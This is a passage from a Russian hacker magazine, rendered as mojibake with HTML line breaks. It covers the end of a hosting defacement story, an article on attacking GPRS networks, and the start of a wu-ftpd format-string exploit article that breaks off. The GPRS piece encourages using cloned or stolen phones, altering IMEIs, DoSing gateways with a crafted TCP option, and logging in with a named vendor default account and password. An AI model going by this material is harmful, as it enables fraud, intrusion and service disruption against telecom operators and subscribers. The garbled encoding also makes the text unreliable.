îò êëèåíòîâ www.sweb.ru. Â íèõ áûëè êàê ñëîâà<br />
íåãîäîâàíèÿ, òàê è ðàäîñòè, è ìíîãî çàìàí÷èâûõ<br />
ïðåäëîæåíèé, òèïà "ñëîìàéòå ìíå õîñòèíã çà äåíüãè".<br />
Ïðè÷åì, ïèñüìà áûëè íå òîëüêî îò ðóññêèõ.<br />
Èçáðàííûå ïèñüìà èç ÿùèêà äåôåéñåðîâ<br />
ËÎÌÀÒÜ ÈËÈ ÍÅ ËÎÌÀÒÜ?<br />
Èòîã ýòîãî âçëîìà äëÿ õàêåðà - íåñêîëüêî áåññîííûõ<br />
íî÷åé, ïðîâåäåííûõ â ñòðàõå áûòü âû÷èñëåííûì.<br />
Ýòè îïàñåíèÿ áûëè îïðàâäàííûìè, òàê êàê<br />
íåñêîëüêî àäìèíèñòðàòîðîâ âçëîìàííûõ ñàéòîâ<br />
äåéñòâèòåëüíî âåæëèâî ñòó÷àëèñü â åãî ICQ, ãîâîðÿ,<br />
÷òî çíàþò î íåì âñå, âïëîòü äî íîìåðà ìî-<br />
áèëüíîãî òåëåôîíà. Íà ñàìîì äåëå âû÷èñëèòü åãî<br />
áûëî äîâîëüíî ëåãêî, íî ýòî óæå äðóãàÿ èñòîðèÿ.<br />
Ê ñ÷àñòüþ, âñå îáîøëîñü, è ÷åðåç íåñêîëüêî äíåé<br />
îí âåðíóëñÿ ê ñâîåé îáû÷íîé æèçíè. Ñòîèò îòìåòèòü,<br />
÷òî óäàëåííàÿ ðàáîòà âçëîìùèêà î÷åíü ðèñêîâàííà,<br />
è â ñëó÷àå ïîäñòàâû âèíîâàò îêàçûâàåòñÿ<br />
õàêåð, à íå çàêàç÷èê.<br />
Ïðî÷èòàâ ýòó ñòàòüþ, åùå ðàç çàäàé ñåáå ôèëîñîôñêèé<br />
âîïðîñ: ëîìàòü èëè íå ëîìàòü? Âçëîì äëÿ<br />
õàêåðà ïî ñóòè ëèøü ðàçâëå÷åíèå, íî âîò ïîñëåäñòâèÿ,<br />
åñëè åãî âû÷èñëÿò, áóäóò ñîâñåì íå ñìåøíûå,<br />
îñîáåííî åñëè æåðòâà - êðóïíûé ïðîåêò...<br />
Ðàçóìååòñÿ, âñÿ èíôîðìàöèÿ â ýòîé ñòàòüå äîëæíà<br />
ðàññìàòðèâàòüñÿ êàê ïîìîùü íà÷èíàþùèì<br />
àäìèíèñòðàòîðàì, è íè â êîåé ìåðå<br />
íå êàê ïîñîáèå äëÿ íà÷èíàþùåãî õàêåðà.<br />
Óâàæàåìûå<br />
êëèåíòû!<br />
 ñâÿçè ñ ïðîáëåìàìè<br />
íà íàøèõ ñåðâåðàõ íåêîòîðûå<br />
index-ñòðàíèöû<br />
áûëè óäàëåíû èëè çàìåíåíû.<br />
Ïîýòîìó Âàø<br />
ñàéò ìîæåò íå ôóíêöèîíèðîâàòü.<br />
Âñå îñòàëüíûå ôàéëû<br />
Âàøåãî ñàéòà ñîõðàíèëèñü<br />
áåç èçìåíåíèé.<br />
Ïîæàëóéñòà, ïðîâåðüòå<br />
íàëè÷èå íà àêêàóíòå<br />
index-ôàéëîâ è ïðè íåîáõîäèìîñòè<br />
çàêà÷àéòå<br />
ôàéëû.<br />
Æåëàåì óñïåõîâ.<br />
Ñ óâàæåíèåì,<br />
Èíôîðìàöèîííûé äåïàðòàìåíò<br />
SpaceWeb<br />
info@sweb.ru<br />
http://www.sweb.ru/<br />
1 2 3 4<br />
48 Íüþñû Ôåððóì Inside PC_Zone Âçëîì
ÀÒÀÊÀ ÍÀ GPRS<br />
Âçëîì<br />
Ëåøèé ñ Ëóêîìîðüÿ (lukomore@real.xakep.ru)<br />
ÊÐÀÒÊÈÉ ÝÊÑÊÓÐÑ Â ÒÅÎÐÈÞ GPRS<br />
Òåõíîëîãèÿ GPRS ìàëî ÷åì îòëè÷àåòñÿ îò GSM è ïî<br />
áîëüøîìó ñ÷åòó ÿâëÿåòñÿ åå ðàñøèðåíèåì. Îáû÷íûé<br />
ìîáèëüíèê ñ ïîääåðæêîé GPRS (íàïðèìåð,<br />
Ericsson R600) ïîäêëþ÷àåòñÿ ïî ðàäèîêàíàëó ê òàê<br />
íàçûâàåìîé áàçîâîé ñòàíöèè, êîòîðàÿ ïåðåäàåò<br />
òðàôèê íà óçåë îáñëóæèâàíèÿ àáîíåíòîâ (serving<br />
GPRS support node - SGSN), ÿâëÿþùèéñÿ ïåðâûì è<br />
îäíèì èç ñàìûõ âàæíûõ ýëåìåíòîâ GPRS-ñåòè. Äàííûé<br />
óçåë, êîòîðûé îáû÷íî ñòðîèòñÿ íà áàçå Unix<br />
(íàïðèìåð, ó Ericsson â SGSN èñïîëüçóåòñÿ Solaris),<br />
òðàíñëèðóåò âñå IP-ïàêåòû ïîëó÷àåìûå è ïðèíèìàå-<br />
ìûå ìîáèëüíèêîì. Èìåííî SGSN ïðîâåðÿåò, ðàçðåøåíî<br />
ëè àáîíåíòó ïîëüçîâàòüñÿ GPRS-óñëóãàìè.<br />
Ïî èäåå, SGSN'îì ìîæíî áûëî áû è îãðàíè÷èòüñÿ,<br />
íî âåäü ìàëî êîãî èíòåðåñóåò õîæäåíèå ïî GPRSáýêáîíó.<br />
Ïîýòîìó äëÿ âûõîäà â îòêðûòûå ñåòè èñïîëüçóåòñÿ<br />
ìàðøðóòèçàòîð, êîòîðûé íàçûâàåòñÿ<br />
gateway GPRS support node, à ïîïðîñòó GGSN.<br />
GGSN, êàê è SGSN îáû÷íî ñòðîèòñÿ íà áàçå Unix è<br />
îòâå÷àåò íå òîëüêî çà ìàðøðóòèçàöèþ òðàôèêà â<br />
èíòåðíåò, íî è çà ñâÿçü ñ GPRS-ñåòÿìè äðóãèõ îïåðàòîðîâ<br />
(ò.å. çà ðîóìèíã). Ñóùåñòâóþò è äðóãèå<br />
ÕÀÊÅÐ\¹52\Àïðåëü\2003<br />
ÀÒÀÊÀ<br />
ÍÀ<br />
GPRS<br />
GPRS - ýòî íîâàÿ óñëóãà, êîòîðàÿ ïîçâîëÿåò ñ ïîìîùüþ îáû÷íîãî ìîáèëüíèêà áðàóçèòü èíåò ñ íåõèëîé<br />
ñêîðîñòüþ 171,2 Êáèò/ñåê. Ïðàâäà, ýòî òîëüêî â òåîðèè. Íà ïðàêòèêå ñêîðîñòü âñåãî 30-40 Êáèò/ñåê,<br />
íî è ýòîãî âïîëíå äîñòàòî÷íî äëÿ òîãî, ÷òîáû çàâèñàòü íà ñàéòàõ ñ àíåêäîòàìè è äðóãîé ðàçâëåêóõîé.<br />
Êðîìå òîãî, ýòî åäèíñòâåííûé ñïîñîá çàþçàòü èíòåðíåò ïðè îòñóòñòâèè òåëåôîíà â òâîåé êâàðòèðå. À<br />
óæ äëÿ íàñòîÿùèõ õàêåðîâ GPRS ïîèñòèíå ïðåäîñòàâëÿåò áåçãðàíè÷íûå âîçìîæíîñòè. Ïðåäñòàâü: åäåò<br />
õàêåð ñ äðóãàíîì íà ìàøèíå, äðóã çà ðóëåì, ó õàêåðà íà êîëåíÿõ íîóòáóê, ê êîòîðîìó ïðèêðó÷åí ìîáèëüíèê<br />
(êñòàòè, GPRS ïîääåðæèâàåòñÿ íå ëþáûì àïïàðàòîì). È îíè âìåñòå ëîìàþò ñåòü êàêîãî-íèáóäü<br />
áàíêà, à ïåðåâåäÿ ýííóþ ñóììó äåíåã íà ïîäñòàâíûå ñ÷åòà, óíîñÿòñÿ ñ ìåñòà ïðåñòóïëåíèÿ. Ìå÷òà...<br />
Íó äà ëàäíî, ÷òî-òî ÿ îòâëåêñÿ. Ðàññêàæó î òîì, êàêèå ñëàáûå ìåñòà åñòü â ýòîé òåõíîëîãèè. Ñðàçó<br />
çàìå÷ó, ÷òî íåêîòîðûå ïîëîæåíèÿ ñòàòüè ïðèìåíèìû è ê GSM, êàê ïðàðîäèòåëüíèöå GPRS.<br />
ýëåìåíòû ýòîé òåõíîëîãèè, íî î íèõ ìû ïîãîâîðèì<br />
÷óòü ïîçæå, ðàññìàòðèâàÿ îøèáêè GPRS.<br />
 ÷åì ïðåëåñòü ýòîé òåõíîëîãèè äëÿ õàêåðà? À â<br />
òîì, ÷òî â åå îñíîâå ëåæèò ñòàðûé çíàêîìûé - IP,<br />
èçó÷åííûé âäîëü è ïîïåðåê è ïîçâîëÿþùèé òâîðèòü<br />
÷óäåñà ñ òåìè, êòî íåäîîöåíèâàåò âñþ îïàñíîñòü<br />
ýòîãî ïðîòîêîëà.<br />
ÄËß ×ÅÃÎ ÂÑÅ ÝÒÎ?<br />
Çà÷åì ÷åëîâåêó øóòèòü ñ Óãîëîâíûì Êîäåêñîì è<br />
áàëîâàòüñÿ ñ GPRS? À öåëåé ìîæåò áûòü ÷åòûðå:<br />
* Çà ÷óæîé ñ÷åò ïîñèäåòü â èíòåðíåòå.<br />
1 2 3 4<br />
50 Íüþñû Ôåððóì Inside PC_Zone Âçëîì
* Ïîäñëóøàòü, ÷òî ãîâîðèò ïîäðóæêà î òåáå ëþáèìîì.<br />
* ÇàDoSèòü äðóæáàíà, êîòîðûé îáîçâàë òåáÿ ëàìåðîì.<br />
* Íàãàäèòü ïðîâàéäåðó, îòêëþ÷àþùåìó çà ñêàí.<br />
ÊÀÊ ËÎÌÀÅÒÑß?<br />
×òî íàäî ñäåëàòü, ÷òîáû þçàòü èíåò, íå ïëàòÿ çà<br />
ýòî ñâîè ãðÎøè? Íó, êîíå÷íî, âûäàòü ñåáÿ çà àáîíåíòà,<br />
îïëàòèâøåãî ýòó óñëóãó. Íî ñêàçàòü ïðîùå,<br />
÷åì ñäåëàòü. Åñòü äâà âàðèàíòà:<br />
* Âëåçòü â ñåòü ñâîåãî ïðîâà è èçìåíèòü èíôîðìàöèþ<br />
î äîñòóïíûõ òåáå óñëóãàõ. Îäíàêî ñäåëàòü<br />
ýòî íå òàê ïðîñòî, äà è çàëåòåòü ìîæíî î÷åíü áûñòðî.<br />
Åñëè âäðóã òàêîé ïîäëîã âûÿñíèòñÿ, òî äîêàçûâàòü,<br />
÷òî òû íå Camel ïðèäåòñÿ ñîòðóäíèêàì<br />
Óïðàâëåíèÿ "Ê".<br />
* Èìåòü íà ðóêàõ àïïàðàò, â íåäðàõ êîòîðîãî (÷èòàé<br />
â SIM'å) ïðîïèñàíî, ÷òî âçëîìùèê ìîæåò ïîëüçîâàòüñÿ<br />
GPRS. À ñìûñë ñêàçàííîãî ïðîñò: õàêåð äîëæåí<br />
êàêèì-òî îáðàçîì ïîëó÷èòü (è ïóñòü ýòî îñòàíåòñÿ<br />
íà åãî ñîâåñòè) àïïàðàò àáîíåíòà, îïëàòèâøåãî<br />
ýòó óñëóãó, ëèáî êëîíèðîâàòü ýòîò àïïàðàò.<br />
Ò.ê. ìîáèëüíûé òåëåôîí êóäà ìåíüøå îáû÷íîãî<br />
êîìïüþòåðà, òî è óêðàñòü åãî íàìíîãî ëåã÷å.  õóäøåì<br />
ñëó÷àå âîð ïîëó÷àåò àïïàðàò çà ñîòíþ áàêñîâ,<br />
êîòîðûé îí ìîæåò ïðîäàòü, ïîâåñèòü ñåáå íà øåþ<br />
è ò.ä. Ïðè õîðîøåì æå ðàñêëàäå âîð ïîëó÷àåò òåëåôîí<br />
ñ ðàáîòàþùåé SIM-êàðòîé è ìîæåò ïîëüçîâàòüñÿ<br />
GPRS-óñëóãàìè äî ìîìåíòà áëîêèðîâàíèÿ òåëåôîíà<br />
îïåðàòîðîì ñâÿçè, ÷òî ìîæåò ïðîèçîéòè äîâîëüíî<br />
áûñòðî. Î÷åâèäíî, ÷òî âàðèàíò ñ êëîíèðîâàíèåì<br />
ëó÷øå, ò.ê. â ýòîì ñëó÷àå õàêåð ìîæåò ïîëüçîâàòüñÿ<br />
óñëóãàìè GPRS äî òåõ ïîð, ïîêà íàñòîÿùèé<br />
âëàäåëåö íå çàìåòèò, ÷òî ñ åãî ñ÷åòà ñïèñûâàåòñÿ<br />
ñëèøêîì ìíîãî äåíåã.<br />
Êàê è â ñëó÷àå ñ îâå÷êîé Äîëëè, êîòîðàÿ óìåðëà, íå<br />
ïðîæèâ è ïîëîâèíû ñðåäíåãî ñðîêà æèçíè îâöû,<br />
êëîíèðîâàíèå òåëåôîíà - äåëî íåïðîñòîå è ïîòåíöèàëüíî<br />
îïàñíîå. ß íàäåþñü, òû ýòî ïîíèìàåøü.<br />
Ïðèâîäèòü òåõíè÷åñêèå äåòàëè ïðîöåññà íåò ñìûñëà,<br />
òåì áîëåå ÷òî ñåäüìîé íîìåð Ñïåö Õàêåðà çà<br />
ïðîøëûé ãîä áûë ïîëíîñòüþ ïîñâÿùåí âîïðîñàì<br />
ôðèêèíãà è çàùèòû ñàìèõ ìîáèëüíèêîâ. Õî÷ó òîëüêî<br />
îòìåòèòü, ÷òî ìíîãèå îïåðàòîðû ñâÿçè, ïîíàäåÿâøèñü<br />
íà çàùèòó ðåàëèçîâàííûõ â òåëåôîíå àëãîðèòìîâ,<br />
íå îñîáî êîíòðîëèðóþò êëîíû òåëåôîíîâ,<br />
÷åì è äàþò ïèùó äëÿ ðàçìûøëåíèé è ïðîñòðàíñòâî<br />
Ñõåìà ðàáîòû GPRS-ñåòè<br />
äëÿ èñïûòàíèé. Áîëåå èíòåðåñíû îñîáåííîñòè çàùèòû<br />
ñàìîé GPRS-òåõíîëîãèè. Ê íèì è ïåðåéäåì.<br />
Íî ñðàçó õî÷ó îòìåòèòü, ÷òî òåõíîëîãèÿ ýòà íîâàÿ è<br />
ìàëîîáêàòàííàÿ. Äûð â íåé íàøëè ïîêà íå òàê ìíîãî,<br />
äà è òå, ÷òî íàøëè, êàê ïðàâèëî, ñâÿçàíû ñ íåäîñìîòðîì<br />
àäìèíà, êîòîðûé ÷òî-òî óïóñòèë è îñòàâèë<br />
ëàçåéêó äëÿ óìíûõ ëþäåé.<br />
ÃÛ-ÃÛ? ËÎÌÀÅÌ!<br />
Ñ òî÷êè çðåíèÿ îáû÷íîãî èíòåðíåòîâñêîãî þçâåðÿ,<br />
ïåðâîå, ÷òî îí âèäèò íà ïóòè ê ìîáèëüíèêó, ýòî<br />
GPRS-ìàðøðóòèçàòîð (ò.å. GGSN), òðàíñëèðóþùèé<br />
âñå âõîäÿùèå ïàêåòû â GTP-òðàôèê, à âñå èñõîäÿùèå<br />
â îáû÷íûé IP. Çäåñü è êðîåòñÿ ïåðâàÿ<br />
äûðà. GGSN - ýòî îáû÷íîå IP-óñòðîéñòâî, ïîäâåðæåííîå<br />
êëàññè÷åñêèì DoS-àòàêàì. Ïðè÷åì íà<br />
GGSN âîçìîæíû êàê ðàñïðîñòðàíåííûå DoS-àòàêè<br />
Land, SYN Flood è ò.ï., òàê è ìàëîèçâåñòíûå äûðû.<br />
Íàïðèìåð, ïîñûëêà TCP-ïàêåòà ñ òèïîì îïöèè<br />
0xFF âíóòðè çàãîëîâêà IP ïðèâîäèò ê ïåðåçàãðóçêå<br />
íåêîòîðûõ GGSN. Õîòÿ óïàäåò óñòðîéñòâî èëè íåò<br />
çàâèñèò îò êà÷åñòâà ðåàëèçàöèè ñòåêà ïðîèçâîäèòåëåì.<br />
Íàïðèìåð, â Shasta 5000 BSN îò Nortel óæå<br />
âñòðîåíà çàùèòà îò àòàê SYN Flood è Land.<br />
Ïðîáëåìà íóìáåð 2. Ìíîãèå GGSN âûïîëíåíû íà<br />
áàçå øèðîêî èçâåñòíûõ ÎÑ, íàïðèìåð, HP UX,<br />
Solaris èëè IPSO îò Nokia. Äûðû â ýòèõ ÎÑ òîæå èçâåñòíû.<br />
Òàê ÷òî îñòàåòñÿ òîëüêî ïðîâåðèòü ñ ïîìîùüþ<br />
ñêàíåðà íàëè÷èå óÿçâèìîñòåé.  ñëó÷àå óäà÷è<br />
õàêåð ïîëó÷àåò ïîëíûé äîñòóï ê GGSN è, ñëåäîâàòåëüíî,<br />
êî âñåé GPRS-ñåòè.<br />
Êñòàòè, SGSN åùå áîëåå óÿçâèìû, ò.ê., ñîãëàñíî îò-<br />
÷åòó @stake, íà ñåãîäíÿøíèé äåíü âîîáùå íå ñóùåñòâóåò<br />
íèêàêèõ ñðåäñòâ èõ çàùèòû. Åñëè GGSN, êàê<br />
è íîðìàëüíûé ìàðøðóòèçàòîð, ìîæíî íàñòðîèòü<br />
(çàäàòü ñïèñêè êîíòðîëÿ äîñòóïà) èëè íàâåñèòü íà<br />
íåãî âíåøíèé ôàåðâîë (íàïðèìåð, CheckPoint<br />
Firewall-1 GX), òî ñ SGSN ñèòóàöèÿ ñóùåñòâåííî õóæå.<br />
×òî êàñàåòñÿ äûð, òî â êà÷åñòâå îäíîé èç íèõ<br />
ìîãó íàçâàòü SNMP, ñ ïîìîùüþ êîòîðîãî ìîæíî óïðàâëÿòü<br />
ýòèì óñòðîéñòâîì. Òî æå ñàìîå îòíîñèòñÿ è<br />
ê GGSN.  ÷àñòíîñòè, óÿçâèìîñòè â Contivity<br />
CES/GGSN (âåðñèè 2.04.03 è 3.01.01) îò Nortel ïîçâîëÿþò<br />
ðåàëèçîâàòü ðàçëè÷íûå àòàêè íà íåãî, íà÷èíàÿ<br />
îò DoS è çàêàí÷èâàÿ ïðèâèëåãèðîâàííûì<br />
äîñòóïîì (http://www.cert.org/advisories/CA-<br />
2002-03.html).<br />
5 6 7 8<br />
Þíèêñîèä X-Ñòèëü Êîäèíã
ÀÒÀÊÀ ÍÀ GPRS<br />
Âçëîì<br />
Ëåøèé ñ Ëóêîìîðüÿ (lukomore@real.xakep.ru)<br />
Ñëåäóþùàÿ ïðîáëåìà êàñàåòñÿ GTP, êîòîðûé ðàáîòàåò<br />
ïîâåðõ UDP èëè TCP (òîëüêî â âåðñèè âûøå<br />
ïåðâîé) è ïî óìîë÷àíèþ íå øèôðóåò òðàôèê.<br />
À, ñëåäîâàòåëüíî, ïîëó÷èâ äîñòóï ê GGSN èëè<br />
SGSN, õàêåð ìîæåò ÷èòàòü âñå ñîîáùåíèÿ. Íèêàêèõ<br />
ìåõàíèçìîâ áåçîïàñíîñòè â GTP íå ïðåäóñìîòðåíî,<br />
è âñå ïðîèçâîäèòåëè ðåêîìåíäóþò èñïîëüçîâàòü<br />
IPSec, ÷òî, ðàçóìååòñÿ, äåëàþò äàëåêî íå<br />
âñå. Ñîáñòâåííî, êàê ñ÷èòàþò ìíîãèå ñïåöèàëèñòû,<br />
òîëüêî íåêîòîðûå êîìïàíèè, ïðåäîñòàâëÿþùèå<br />
óñëóãè GPRS, ïðèìåíÿþò ïîëîæåíèÿ ñâîåé<br />
ïîëèòèêè áåçîïàñíîñòè ê GPRS-óñòðîéñòâàì, îñòàëüíûå<br />
ñ÷èòàþò èõ çàùèùåííûìè è íåäîñòóïíûìè<br />
äëÿ çëîóìûøëåííèêîâ.<br />
Êàê è ëþáàÿ êðóïíàÿ ñòðóêòóðà, GPRS-ñåòü äîëæíà<br />
èìåòü ýôôåêòèâíûå ìåõàíèçìû óïðàâëåíèÿ, è îíè<br />
äåéñòâèòåëüíî åñòü. Ïîìèìî óæå óïîìÿíóòîãî<br />
SNMP, â ñåòè GPRS ìîæíî âñòðåòèòü Telnet, DHCP,<br />
DNS, TFTP, RIP è äàæå HTTP. À ÷òî ïîçâîëÿþò äåëàòü<br />
ýòè ïðîòîêîëû ñ óçëîì, íà êîòîðîì îíè çàïóùåíû,<br />
ÿ äóìàþ, ãîâîðèòü íå ñòîèò.<br />
Êñòàòè, ïåðåõâàòèòü òðàôèê ìîæíî íå òîëüêî ìåæäó<br />
GGSN è SGSN, íî è ìåæäó ìîáèëüíèêîì è<br />
SGSN. È ýòî íåñìîòðÿ íà íàëè÷èå øèôðîâàíèÿ<br />
ìåæäó íèìè. À âñå ïîòîìó, ÷òî â ðåàëèçàöèè àëãîðèòìîâ<br />
A3 è A8, îáúåäèíåííûõ îáùèì èìåíåì<br />
COMP128, ñóùåñòâóåò ðÿä äûð, êîòîðûå áûëè<br />
íàéäåíû óøëûìè õàêåðàìè. Ïðàâäà ýòè äûðû áûëè<br />
îáíàðóæåíû â SIM-êàðòå, íî ó÷èòûâàÿ, ÷òî<br />
IMEI êîä<br />
SGSN èñïîëüçóåò òå æå àëãîðèòìû, ïîëó÷èòü äîñòóï<br />
ê ïåðåäàâàåìûì äàííûì íå ñîñòàâèò òðóäà.<br />
Òå, êòî ÷èòàë ìîþ ñòàòüþ îá àòàêàõ íà IP-òåëåôîíèþ<br />
(12-é Õàêåð çà 2002 ãîä), ìîãóò ïðîñëåäèòü,<br />
÷òî àòàêè íà îáå òåõíîëîãèè ïðàêòè÷åñêè ñîâïàäàþò<br />
- ðàçíÿòñÿ òîëüêî äåòàëè ðåàëèçàöèè. Ïîýòîìó<br />
ìîæíî ïîïûòàòüñÿ ñïðîãíîçèðîâàòü - êàêîé åùå<br />
àòàêå ïîäâåðæåíû êîìïîíåíòû GPRS-ñåòè. Ïðàâèëüíî!<br />
Àáñîëþòíîå áîëüøèíñòâî óñòðîéñòâ ïîñòàâëÿåòñÿ<br />
ñ ïðåäóñòàíîâëåííûìè íàñòðîéêàìè, è<br />
äëÿ èõ èçìåíåíèÿ èñïîëüçóåòñÿ ïàðîëü àäìèíèñòðàòîðà,<br />
çàäàííûé ïî óìîë÷àíèþ è ïðàêòè÷åñêè<br />
íèêîãäà íå èçìåíÿåìûé. Íàïðèìåð, â Nortel'îâñêîì<br />
îáîðóäîâàíèè åñòü òàêàÿ ó÷åòíàÿ çàïèñü<br />
field, ïàðîëü äëÿ êîòîðîé - service.<br />
Åñëè áû õàêåð áûë ñîòðóäíèêîì êàêîãî-íèáóäü<br />
Ìåãàôîíà, Áèëàéíà èëè ÌÒÑ, ó íåãî ïîÿâèëîñü áû<br />
÷óòü áîëüøå âîçìîæíîñòåé ïî õàêàíüþ GPRS. Â<br />
÷àñòíîñòè, ìîæíî âçëîìàòü áèëëèíãîâóþ ñèñòåìó,<br />
âåäóùóþ òàðèôèêàöèþ çâîíêîâ è óñëóã. À ìîæíî<br />
ïîêîïàòüñÿ â áàçàõ HLR (Home Location Register) è<br />
VLR (Visitor Location Register), õðàíÿùèõ èíôîðìàöèþ<br />
î êàæäîì ÷åëîâåêå, îïëàòèâøåì óñëóãè îïåðàòîðà<br />
GPRS, è î êàæäîé ìîáèëüíîé ñòàíöèè, íàõîäÿùåéñÿ<br />
â äàííûé ìîìåíò â çîíå äåéñòâèÿ<br />
SGSN. HLR, íàïðèìåð, õðàíèò èíôîðìàöèþ î äîïîëíèòåëüíûõ<br />
óñëóãàõ, ïàðàìåòðàõ àóòåíòèôèêàöèè,<br />
IP-àäðåñå è ò.ä. Îáìåí äàííîé èíôîðìàöèåé<br />
ïðîèñõîäèò ìåæäó HLR è SGSN. Â VLR õðàíèòñÿ òà<br />
ÕÀÊÅÐ\¹52\Àïðåëü\2003<br />
æå èíôîðìàöèÿ îá àáîíåíòå, ÷òî è â HLR, íî òîëüêî<br />
äî òåõ ïîð, ïîêà àáîíåíò íå ïîêèíåò ãåîãðàôè-<br />
÷åñêóþ çîíó, îáñëóæèâàåìóþ ýòèì ðååñòðîì ïåðåìåùåíèé.<br />
Íî òàê êàê ñðåäè 75000 ïîäïèñ÷èêîâ ][<br />
âðÿä ëè åñòü íàéäåòñÿ ìíîãî ñîòðóäíèêîâ óêàçàííûõ<br />
îïåðàòîðîâ ñâÿçè, òî ðàññìàòðèâàòü ýòó òåìó<br />
áîëåå ïîäðîáíî ìû íå áóäåì.<br />
ÇÀÊËÞ×ÅÍÈÅ<br />
Ê ñîæàëåíèþ, ñòàòüÿ íå èçîáèëóåò ïðèìåðàìè ðåàëüíûõ<br />
àòàê è äûð, è íà òî åñòü 2 ïðè÷èíû. Âîïåðâûõ,<br />
GPRS - òåõíîëîãèÿ åùå ìàëîðàñïðîñòðàíåííàÿ,<br />
à ìåñòàìè äàæå è íåçðåëàÿ, è ïîýòîìó<br />
ïðèñóùèõ èìåííî åé äûð íàéäåíî íå òàê ìíîãî. À<br />
òå, ÷òî óæå èçâåñòíû, â îñíîâíîì êàñàþòñÿ ïðîòîêîëà<br />
IP âîîáùå. Âî-âòîðûõ, êàê ïîä÷åðêèâàþò<br />
ìíîãèå ñïåöû ïî áåçîïàñíîñòè, íà ñåãîäíÿøíèé<br />
äåíü îñíîâíàÿ ïðîáëåìà ñ çàùèùåííîñòüþ GPRS<br />
ñâÿçàíà ñ ìîáèëüíûì òåëåôîíîì, à òî÷íåå ñ SIMêàðòîé.<br />
Ò.å. ïîëó÷èâ â ñâîå ðàñïîðÿæåíèå SIMêàðòó<br />
àáîíåíòà, ïîäïèñàííîãî íà óñëóãè GPRS,<br />
õàêåð ìîæåò ïîëüçîâàòüñÿ èìè äî ïîñèíåíèÿ.<br />
ß íàäåþñü, ÷òî ñî âðåìåíåì ýòà òåõíîëîãèÿ çàéìåò<br />
ñâîå äîñòîéíîå ìåñòî íà ðîññèéñêîì ðûíêå<br />
òåëåêîììóíèêàöèîííûõ óñëóã, è ïîÿâèòñÿ áîëüøå<br />
âîçìîæíîñòåé ïîùóïàòü åå äûðû. À ïîêà ïîëüçóéòåñü<br />
áåñïëàòíûì GPRS, ïðåäîñòàâëÿåìûì ÌÒÑ :).<br />
 óêðàäåííîì àïïàðàòå ìîæíî èçìåíèòü èäåíòèôèêàöèîííûé êîä ìîáèëüíèêà IMEI è,<br />
âñòàâèâ äðóãóþ SIM-êàðòó, èñïîëüçîâàòü åãî ïî ïðÿìîìó íàçíà÷åíèþ. Ó÷èòûâàÿ, ÷òî ìíîãèå<br />
îïåðàòîðû ñâÿçè íèêàê íå êîíòðîëèðóþò ýòè íîìåðà, òî âîçìîæíî ïîÿâëåíèå â ñåòè<br />
íåñêîëüêèõ ìîáèëüíèêîâ ñ îäèíàêîâûìè IMEI. Ñîãëàñíî îò÷åòó êîíñàëòèíãîâîé êîìïàíèè<br />
@stake ("GPRS Wireless Security: Not Ready For Prime Time"), îïóáëèêîâàííîìó â èþíå<br />
2002 ãîäà, íà ðûíêå îòñóòñòâóåò îáîðóäîâàíèå, ïîääåðæèâàþùåå ðååñòð èäåíòèôèêàöèîííûõ<br />
äàííûõ îáîðóäîâàíèÿ (Equipment Identity Register), êîòîðûé ñîäåðæèò èíôîðìàöèþ,<br />
ïîçâîëÿþùóþ áëîêèðîâàòü âûçîâû îò óêðàäåííûõ, ìîøåííè÷åñêèõ èëè èíûõ íåàâòîðèçîâàííûõ<br />
óñòðîéñòâ. Ýòî çíà÷èò, ÷òî îïåðàòîð íå ñìîæåò îòêëþ÷èòü óêðàäåííóþ èëè<br />
êëîíèðîâàííóþ òðóáêó.<br />
Óçíàòü IMEI ýëåìåíòàðíî - äîñòàòî÷íî íàáðàòü íà òåëåôîíå êîìáèíàöèþ *#06#.  ðååñòðå<br />
EIR ïîìèìî òàê íàçûâàåìûõ "áåëîãî" è "ñåðîãî" ñïèñêîâ õðàíèòñÿ è "÷åðíûé" ñïèñîê,<br />
ñîäåðæàùèé èäåíòèôèêàòîðû âñåõ çàïðåùåííûõ àïïàðàòîâ. Êàê çàÿâèëè ñîòðóäíèêè ÌÒÑ:<br />
"Ñåé÷àñ ìåæäó îïåðàòîðàìè ïðîâîäÿòñÿ ïåðåãîâîðû î ñîçäàíèè åäèíîãî "÷åðíîãî ñïèñêà"<br />
êðàäåíûõ òåëåôîíîâ". Èç ÷åãî ìîæíî ñäåëàòü âûâîä, ÷òî ïîêà òàêîé ñïèñîê íå ñîçäàí, à<br />
ó÷èòûâàÿ êîíêóðåíöèþ è ðîññèéñêóþ íåðàçáåðèõó, ìîæíî ïðåäïîëîæèòü, ÷òî â áëèæàéøåå<br />
âðåìÿ ñîçäàíèå òàêîãî ñïèñêà ôðèêåðàì íå ãðîçèò.<br />
52 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì
kas1e<br />
FORMAT STRING ÓßÇÂÈÌÎÑÒÜ<br />
Ðàáîòà ó ïðîãðàììèñòà äîâîëüíî íàïðÿæåííàÿ,<br />
íåîáõîäèìî ñëåäèòü çà êàæäûì áàéòîì, îöåíèâàòü<br />
ñèòóàöèþ, ïðåäñòàâëÿòü ðàçëè÷íûå âîçìîæíîñòè<br />
ïîâåäåíèÿ ïðîãðàììû è ò.ä. Ê ïðèìåðó, ÷àñòî<br />
ïðèõîäèòñÿ èñïîëüçîâàòü â ïðîãðàììå 'C'<br />
ñòðîêè, îêàí÷èâàþùèåñÿ íóëåâûì áàéòîì, è íå<br />
âñåãäà åñòü âîçìîæíîñòü óñëåäèòü çà òàêèì êîäîì.<br />
Îòñþäà âîçíèêàþò ðàçíûå ïðîáëåìû. Òàê è<br />
â ñëó÷àå ñ format string. Ñêàæåì, ïðîãðàììèñò ðåøàåò<br />
ñýêîíîìèòü íà ðàçìåðå è íå óêàçûâàåò äîïîëíèòåëüíûõ<br />
'ôîðìàòíûõ' àðãóìåíòîâ:<br />
printf(string); // âûâîäèì ñòðîêó (áåç óêàçàíèÿ êàêèì<br />
ñïîñîáîì âûâîäèòü)<br />
âìåñòî:<br />
Âçëîì<br />
ÝÊÑÏËÎÈÒ ÏÎÄ WU-FTPD<br />
ÝÊÑÏËÎÈÒ<br />
printf(%s, string); // âûâîäèì ñòðîêó (ñ óêàçàíèåì<br />
ñïîñîáà)<br />
Âèäèìî íå âñå ïðîãðàììèñòû çíàþò, ÷òî åñëè<br />
ôîðìàòíûé àðãóìåíò íå óêàçàí, òî èõ ïîèñê áóäåò<br />
ïðîèçâîäèòüñÿ â ëþáîì ñëó÷àå. È åñëè êàêîé-òî èç<br />
íèõ áóäåò íàéäåí, òî â ñòåêå ïðîèçîéäóò ñîîòâåòñòâóþùèå<br />
ïðåîáðàçîâàíèÿ (èç ïðåäûäóùèõ ñòàòåé<br />
